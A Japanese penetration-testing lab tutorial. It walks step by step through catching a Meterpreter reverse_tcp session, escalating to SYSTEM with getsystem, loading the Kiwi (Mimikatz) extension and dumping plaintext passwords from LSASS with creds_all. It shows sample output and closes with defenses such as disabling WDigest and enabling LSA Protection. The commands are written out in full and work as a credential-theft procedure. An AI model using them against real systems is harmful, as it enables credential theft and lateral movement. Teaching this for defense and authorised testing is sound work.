はじめに
ペネトレーションテストのポストエクスプロイテーションフェーズにおいて、主な目標の一つは、ネットワーク内を横断するために認証情報を収集することです。Metasploit の Meterpreter は、侵害されたシステム上でインタラクティブなシェルを提供する強力なペイロードです。
Meterpreter の最も強力な機能の一つは、有名な Mimikatz ツールのポートである Kiwi 拡張機能です。Kiwi は、攻撃者がターゲットマシンのメモリ、特にローカルセキュリティ機関サブシステムサービス (LSASS) プロセスから、平文パスワード、ハッシュ、PIN、および Kerberos チケットを直接抽出することを可能にします。
この実験では、Meterpreter セッション内で Kiwi 拡張機能をロードして使用し、シミュレートされた Windows ターゲットから認証情報をダンプする方法を学びます。
Windows ターゲットで SYSTEM 権限を持つ Meterpreter セッションを取得する
このステップでは、ターゲットマシンへのアクセスをシミュレートします。実際のシナリオでは、エクスプロイトを使用してペイロードを配信します。ここでは、Metasploit Framework コンソールを使用してリスナーを設定します。その後、シミュレートされたターゲットが私たちのリスナーに接続し、Meterpreter セッションを提供します。
まず、Metasploit コンソールを起動します。-q フラグは、バナーを表示せずに静かに起動します。
msfconsole -q
次に、シミュレートされたターゲットからの着信接続を「キャッチ」するためのリスナーを設定します。これには multi/handler モジュールを使用します。
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
ここで、exploit -j を使用してリスナーをバックグラウンドジョブとして実行します。
exploit -j
数秒後、セッションが作成されます。アクティブなセッションは sessions コマンドで一覧表示できます。
sessions
以下のような、アクティブなセッションを示す出力が表示されるはずです。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN-TARGET\LabUser @ WIN-TARGET 127.0.0.1:4444 -> 127.0.0.1:54321 (...)
次に、セッション 1 と対話します。
sessions -i 1
プロンプトが meterpreter > に変わります。Kiwi を効果的に使用するには、最高の権限である NT AUTHORITY\SYSTEM が必要です。getsystem コマンドを使用して権限昇格を試みることができます。
getsystem
...got system というメッセージが表示されるはずです。getuid を実行して、新しい ID を確認します。
getuid
期待される出力は次のようになります。
Server username: NT AUTHORITY\SYSTEM
これで、次のステップに進む準備ができた SYSTEM 権限を持つ Meterpreter セッションが取得できました。
load kiwi コマンドを使用して kiwi 拡張機能をロードする
このステップでは、Meterpreter セッションに Kiwi 拡張機能をロードします。Meterpreter はモジュール式であり、その拡張機能は、初期ペイロードを小さく保つためにデフォルトではロードされない追加機能を提供します。Kiwi 拡張機能には、Mimikatz スタイルの認証情報ダンプを実行するために必要なすべてのコマンドが含まれています。
meterpreter > プロンプトから、load コマンドを使用して Kiwi 拡張機能を追加します。
load kiwi
コマンドが成功すると、Meterpreter は拡張機能がロードされたことを確認します。
Loading extension kiwi...Success.
Kiwi 拡張機能がロードされたことで、認証情報収集のための新しい強力なコマンドセットにアクセスできるようになりました。
help で利用可能な kiwi コマンドを一覧表示する
このステップでは、Kiwi コマンドが利用可能であることを確認します。Meterpreter で拡張機能をロードした後、help コマンドを使用して、利用可能なすべてのコマンドの更新されたリストを表示できます。これは、拡張機能が正しくロードされたことを確認し、新しい機能を確認するための良い習慣です。
meterpreter > プロンプトから、単純に help と入力します。
help
出力は、セクションごとにグループ化されたすべての Meterpreter コマンドの長いリストになります。出力をスクロールすると、「Kiwi Commands」という新しいセクションが見つかるはずです。このセクションには、Kiwi 拡張機能によって提供されるすべての関数がリストされています。
...
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve MSV credentials (parsed)
creds_ssp Retrieve SSP credentials (parsed)
creds_tspkg Retrieve TSPKG credentials (parsed)
creds_wdigest Retrieve WDigest credentials (parsed)
dcsync Retrieve user account information via DCSync
dcsync_ntlm Retrieve user NTLM hash via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute a custom command
lsa_dump_sam Dump LSA SAM
lsa_dump_secrets Dump LSA secrets
wifi_list List wifi profiles/creds
wifi_list_shared List shared wifi profiles/creds
...
ご覧のとおり、Kiwi は Windows 認証メカニズムと対話するための多くの強力なコマンドを追加します。
creds_all コマンドで利用可能なすべての認証情報をダンプする
このステップでは、Kiwi 拡張機能の主要なコマンドを実行して、メモリ内で見つかったすべての認証情報をダンプします。creds_all コマンドは、WDigest、Kerberos、MSV などのさまざまな認証パッケージを対象とする、複数の異なる認証情報収集モジュールを一度に実行する便利なラッパーです。
このコマンドは LSASS プロセスのメモリにアクセスするために SYSTEM 権限が必要であることを覚えておいてください。そのため、最初のステップで getsystem コマンドを実行しました。
meterpreter > プロンプトから、creds_all コマンドを実行します。
creds_all
コマンドは LSASS プロセスを検査するため、実行にしばらく時間がかかります。出力は詳細で、さまざまなプロバイダーで見つかった認証情報が表示されます。以下は、表示される可能性のある内容のサンプルです。
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 NTLM WIN-TARGET LabUser (null)
0;99876 NTLM WIN-TARGET WIN-TARGET$ (null)
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
0;99876 WDigest WIN-TARGET WIN-TARGET$ (null)
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
0;99876 Kerberos WIN-TARGET WIN-TARGET$ (null)
...
ターゲットシステムのメモリから認証情報を正常にダンプしました。次のステップはこの出力を分析することです。
plaintext パスワードの出力を分析する
この最終ステップでは、creds_all コマンドの出力を分析して、plaintext パスワードを特定します。クリアテキスト認証情報を見つける機能は、Kiwi や Mimikatz のようなツールがラテラルムーブメントにおいて非常に強力である理由です。
前のステップで受け取った出力を確認してください。データは認証パッケージごとに整理されています。
- msv: このパッケージは標準の NTLM 認証を処理します。ユーザーが最近インタラクティブにログインしていない限り、通常は plaintext パスワードではなくパスワードハッシュを提供します。
- wdigest: 古い Windows システムまたは明示的に有効化されているシステムでは、WDigest はメモリ内にユーザーのパスワードの復号可能なコピーを格納します。Kiwi はこれを簡単に復号して、plaintext パスワードを明らかにすることができます。これはしばしば最も価値のあるセクションです。
- kerberos: このパッケージは Kerberos チケットを管理します。WDigest と同様に、ログイン中のユーザーの plaintext パスワードをキャッシュすることもできます。
- ssp および tspkg: これらのパッケージは、リモートデスクトップ接続などの他のサービスの認証情報を処理します。
前のステップのサンプル出力では、wdigest および kerberos セクションの両方で、ユーザー LabUser の plaintext パスワードを明確に見ることができます。
wdigest credentials
===================
...
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
...
kerberos credentials
====================
...
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
...
出力を注意深く調べ、Password 列の (null) 以外の値を探すことで、価値のある認証情報を収集できます。この情報は、そのユーザーとして他のシステムやサービスにアクセスするために使用できます。
まとめ
この実験では、古典的なポストエクスプロイテーション技術を実行しました。まず、シミュレートされた Windows ターゲットで SYSTEM 権限を持つ Meterpreter セッションを取得しました。次に、Mimikatz の機能を Meterpreter に統合する Kiwi 拡張機能をロードしました。
creds_all コマンドを使用して、LSASS プロセスのメモリから直接認証情報をダンプしました。最後に、出力を分析して、ログイン中のユーザーの plaintext パスワードを抽出しました。
この演習は、エンドポイントにおけるセキュリティ強化の重要性を浮き彫りにします。この種のアタックに対する防御策には以下が含まれます。
- WDigest 認証の無効化。
- LSA Protection (RunAsPPL) の有効化。
- ユーザーおよびプロセスが不必要な管理者権限を持たないように、最小権限の原則を実装すること。
これで、攻撃者がインメモリ認証情報ダンプをどのように悪用してネットワークをさらに侵害できるかについて、実践的な理解を得ることができました。


